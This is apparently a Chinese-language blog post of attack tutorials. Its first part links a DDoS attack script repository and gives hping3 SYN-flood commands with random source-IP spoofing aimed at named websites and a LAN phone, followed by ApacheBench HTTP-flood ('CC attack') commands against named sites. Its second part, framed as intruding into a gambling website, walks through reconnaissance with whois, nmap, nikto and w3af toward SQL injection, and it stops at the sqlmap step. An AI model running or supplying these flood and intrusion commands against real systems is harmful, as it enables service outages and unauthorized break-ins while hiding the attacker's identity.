DDoS攻击脚本

Paylod:https://github.com/Ha3MrX/DDos-Attack

git clone https://github.com/Ha3MrX/DDos-Attack

Dos洪水攻击之Hping3

hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source www.hisurprise.com
//要把http://和/去掉,不然Hping3不会识别的

在计算机行业,拒绝服务(DoS)或分布式拒绝服务(DDoS)攻击是指不法分子企图让某机器或网络资源无法被预期的用户所使用。虽然执行DoS攻击的方式、动机和目标不一样,但通常包括设法临时性或无限期中断或暂停连接至互联网的主机提供服务。

详细使用

攻击过程:

\1. 你使用hping3执行拒绝服务攻击(即DoS)。

\2. 你隐藏你的a$$(我是指你的源头IP地址)。

\3. 你的目标机器看到的将是随机性源头IP地址中的源头,而不是你的IP地址(IP伪装)。

\4. 你的目标机器会在5分钟里面不堪重负,停止响应。

ok,我们进行简单的模拟攻击:

攻击

输入指令:

nmap -sP 192.168.0.1/24 

输入命令

hping 3 -S --flood -V (受害者IP) 开始攻击 

ok 这时候 手机已经呈现断网状态

按下ctrl+c关闭,这时候我们看看发送了多少数据

隐藏IP攻击目标 命令是这样的:

hping3 -S -U --flood -V --rand -source IP

参数

hping3 host [options]

  -h  --help        	显示帮助
  -v  --version     	显示版本
  -c  --count       	发送数据包的数目
  -i  --interval    	发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      --fast        	等同 -i u10000 (每秒10个包)
      --faster      	等同 -i u1000 (每秒100个包)
      --flood       	尽最快发送数据包,不显示回复
  -n  --numeric     	数字化输出,象征性输出主机地址
  -q  --quiet       	安静模式
  -I  --interface   	网卡接口 (默认路由接口)
  -V  --verbose     	详细模式
  -D  --debug       	调试信息
  -z  --bind        	绑定 ctrl+z 到 ttl (默认为目的端口)
  -Z  --unbind      	取消绑定 ctrl+z 键
      --beep        	对于接收到的每个匹配数据包蜂鸣声提示
  
模式选择  
  default mode      	默认模式是TCP
  -0  --rawip       	RAW IP模式,原始IP模式。在此模式下Hping3会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式
  -1  --icmp        	ICMP模式,此模式下Hping3会发送IGMP应答报,你可以用 --icmptype,--icmpcode 选项发送其他类型/模式的ICMP报文
  -2  --udp         	UDP模式,默认Hping3会发送UDP报文到主机的0端口,你可以用 --baseport,--destport,--keep 选项指定端口
  -8  --scan        	扫描模式,扫描指定的端口
                    	Example: hping3 --scan 1-30,70-90 -S www.target.host
  -9  --listen      	监听模式
    
IP 模式  
  -a  --spoof       	源地址欺骗。伪造自身IP,对目的进行攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了
  	  --rand-dest   	随机目的地址模式,详细使用 man 命令
      --rand-source 	随机源地址模式,详细使用 man 命令
  -t  --ttl         	指定 ttl 值 (默认 64)
  -N  --id          	hping3 中的 ID 值,缺省为随机值
  -W  --winid       	使用 win* id 字节顺序,针对不同的操作系统。UNIX,WINDIWS的id回应不同,这选项可以让你的ID回应和WINDOWS一样
  -r  --rel         	相对id字段(用于评估主机流量)  //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO
  -f  --frag        	将数据包拆分成更多的frag,可能通过弱访问控制列表(acl)	//分段,可以测试对方或者交换机碎片处理能力,缺省16字节
  -x  --morefrag    	设置更多的分段标志    //大量碎片,泪滴攻击
  -y  --dontfrag    	设置不分段标志    //发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY
  -g  --fragoff     	set the fragment offset    //设置断偏移
  -m  --mtu         	设置虚拟最大传输单元,当大于MTU时分段;如果数据包大于MTU,等同于使用 --frag 选项
  -o  --tos         	tos字段,服务类型,缺省值为0x00,通过 hping3 --tos help 命令查看详细
  -G  --rroute     		记录IP路由,并显示路由缓冲
      --lsrr        	松散源路由并记录路由 (loose source routing and record route)
      --ssrr        	严格源路由并记录路由 (strict source routing and record route)
  -H  --ipproto     	设置IP协议字段,仅在RAW IP模式下使用
  
ICMP 模式
  -C  --icmptype    	icmp类型,默认回显(echo)请求
  -K  --icmpcode    	icmp代号,默认0
      --force-icmp  	发送所有icmp类型(默认仅发送支持的类型)
      --icmp-gw     	设置ICMP重定向网关地址(默认0.0.0.0)
      --icmp-ts     	等同 --icmp --icmptype 13 (ICMP 时间戳)
      --icmp-addr   	等同 --icmp --icmptype 17 (ICMP 地址子网掩码)
      --icmp-help   	显示其他icmp选项帮助
  
UDP/TCP 模式
  -s  --baseport    	设置源端口,默认为随机源端口
  -p  --destport    	设置目的端口,默认端口为0
  -k  --keep        	保持源端口不变
  -w  --win         	win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff      	set fake tcp data offset(instead of tcphdrlen / 4)    //设置伪造tcp数据偏移量(取代tcp地址长度/4)
  -Q  --seqnum      	仅显示tcp序列号
  -b  --badcksum    	(尝试)发送具有错误IP校验和的数据包,所以你会得到错误UDP/TCP校验和。但是许多系统会修复发送数据包的IP校验和
  -M  --setseq      	设置TCP序列号
  -L  --setack      	set TCP ack,不是 TCP 的 ACK 标志位
  -F  --fin         	set FIN flag  
  -S  --syn         	set SYN flag  
  -R  --rst         	set RST flag  
  -P  --push        	set PUSH flag  
  -A  --ack         	set ACK flag,设置 TCP 的 ACK 标志位
  -U  --urg         	set URG flag      //一大堆IP报头的设置
  -X  --xmas        	set X unused flag (0x40)
  -Y  --ymas        	set Y unused flag (0x80)
      --tcpexitcode     使用last tcp->th_flags 作为退出码
      --tcp-mss         使用给定的值启用TCP MSS选项
      --tcp-timestamp   启用TCP时间戳选项来猜测HZ/uptime
  
通用设置  
  -d  --data        	发送数据包的大小,默认为0
  -E  --file        	发送指定文件内的数据
  -e  --sign        	添加“签名”
  -j  --dump        	转储为十六进制数据包
  -J  --print       	转储为可打印字符
  -B  --safe        	启用“安全”协议
  -u  --end         	告诉你什么时候--file达到EOF并防止倒回
  -T  --traceroute  	traceroute模式(等同使用 --bind 且 --ttl 1)
      --tr-stop     	在traceroute模式下,收到第一个非ICMP报文时退出
      --tr-keep-ttl 	保持源TTL固定,仅用于监视一跳
      --tr-no-rtt   	不要在traceroute模式下计算或显示RTT信息

ARS packet description (new, unstable)
      --apd-send    	发送用APD描述的数据包(参见docs/APD.txt)

CC攻击

CC攻击(Challenge Collapsar)CC攻击的本名叫做HTTP-FLOOD,是一种专门针对于Web的应用层FLOOD攻击,攻击者操纵网络上的肉鸡,对目标Web服务器进行海量http request攻击,是DDOS(分布式拒绝服务)的一种,也是一种常见的网站攻击方法,攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。

CC(ChallengeCollapsar,挑战黑洞)攻击是DDoS攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求。CC根据其工具命名,攻击者使用代理机制,利用众多广泛可用的免费代理服务器发动DDoS攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。

DDoS攻击打的是网站的服务器,而CC攻击是针对网站的页面攻击的,用术语来说就是,一个是WEB网络层拒绝服务攻击(DDoS),一个是WEB应用层拒绝服务攻击(CC)

ab  -n 10000 -c 1000  http://www.xueyaoxuan.cn
ab -t 60 -c 500 -n 500 https://bbskali.cn/thread-413-1-1.html
-n  请求数量
-c  一次产生的请求个数。默认是一次一个
-t  测试时长

入侵赌博网站服务

发布于2021-04-02 14:54:54阅读 21.6K0

通过阅读这篇博客之后,你可以学习到一下几个关于渗透测试的知识点:

​ 1、渗透测试前的信息采集

​ 2、sqlmap的使用

​ 3、nmap,nikto(网页服务器扫描器),w3af(Web应用扫描器)的使用

​ 4、nc反弹提权

​ 5、linux系统的权限提升

现在我们以hack-test.com 作为要入侵的网站。

第一步:用ping 获取网站服务器的IP地址

img

第二步:如果网站是托管的可能在同一服务器上有多个域名。寻找同一服务器上的其它网站,

​ 1、使用sameip.org

img

​ 173.236.164.23上有18个网站,为了攻破网站可能会检查同服务器上的其它网站,但是本次是以研究为目标,抛开服务器上的其它网站,只针对一个网站来进行入侵检测

!!!!枚举DNSserver的主机名:nmap --script dns-brute hack-test.com

img

第三步:开始找网站的DNS记录,下面用两个方法查找。

​ 1、who.is

img img

​ 2、终端直接:whois hack-test.com(用来查询域名的IP以及所有者等信息的传输协议)

获取到的网站域名的注册信息,电话、邮箱、地址,Web服务器

img

img

第四步:通过whatweb来获取网站服务器操作系统类型和服务器的版本.

img

第五步:用Nmap查看网站服务器开放的端口

1、查看服务器上运行的服务

img

2、查看操作系统版本

img

第六步:现在已经收集了所有关于网站的重要信息, 接下来开始扫描寻找漏洞

1、使用Nikto来收集漏洞信息

img

2、使用w3af(Web应用扫描器),本来想装在kali系统里的,但是不成功,所以我装在了window系统。

​ 输入要检测的网站地址,选择完整的安全审计选项.

img

3、发现网站存在sql注入漏洞、XSS漏洞、以及其它的漏洞.来探讨SQL注入漏洞

twww.cnblogs.com/hanxiaobei/p/56036

第七步:发现这个http://hack-test.com/Hackademic_RTB1/?cat=1有sql注入,所以使用Sqlmap来检测漏洞。

posted @ 2023-03-26 15:53  没有羊的牧羊少年  阅读(400)  评论(0)    收藏  举报